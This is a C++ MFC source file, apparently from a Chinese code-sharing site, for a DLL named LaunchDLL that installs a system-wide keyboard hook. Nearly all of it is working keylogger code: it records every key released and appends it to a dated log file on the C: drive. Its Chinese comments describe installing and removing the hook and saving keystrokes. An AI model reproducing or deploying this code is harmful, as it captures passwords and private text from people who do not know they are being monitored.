📄 launchdll.cpp
字号:
// LaunchDLL.cpp : Defines the initialization routines for the DLL.
//
#include "stdafx.h"
#include "LaunchDLL.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
HHOOK glhHook;
LRESULT CALLBACK LauncherHook(int nCode, WPARAM wParam, LPARAM lParam);
void SaveLog(char* c);
/////////////////////////////////////////////////////////////////////////////
// CLaunchDLLApp
BEGIN_MESSAGE_MAP(CLaunchDLLApp, CWinApp)
//{{AFX_MSG_MAP(CLaunchDLLApp)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CLaunchDLLApp construction
CLaunchDLLApp::CLaunchDLLApp()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}
/////////////////////////////////////////////////////////////////////////////
// The one and only CLaunchDLLApp object
CLaunchDLLApp theApp;
DllExport void WINAPI InstallLaunchEv()
{
// 安装键盘钩子
glhHook = (HHOOK)SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)LauncherHook, theApp.m_hInstance, 0);
}
DllExport void WINAPI UnInstall()
{
if (glhHook)
{
// 卸载钩子
BOOL result = UnhookWindowsHookEx((HHOOK)glhHook);
if (result)
glhHook = NULL;
}
}
LRESULT CALLBACK LauncherHook(int nCode, WPARAM wParam, LPARAM lParam)
{
// 将键盘事件传递给下一钩子函数
LRESULT Result = CallNextHookEx(glhHook, nCode, wParam, lParam);
// 处理键盘动作
if (nCode == HC_ACTION)
{
// 保存键盘动作到文件
if (lParam & 0x80000000)
{
char c[1];
c[0] = wParam;
SaveLog(c);
if (c[0] == 13)
{
c[0] = 10;
SaveLog(c);
}
}
}
return Result;
}
void SaveLog(char* c)
{
// 取当前日期
CTime tm = CTime::GetCurrentTime();
// 根据日期组合文件名
CString name;
name.Format("c:\\Key_%d_%d.log", tm.GetMonth(), tm.GetDay());
// 将输入的字符写入到文件
CFile file;
if (!file.Open(name, CFile::modeReadWrite))
{
file.Open(name, CFile::modeCreate | CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c, 1);
file.Close();
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -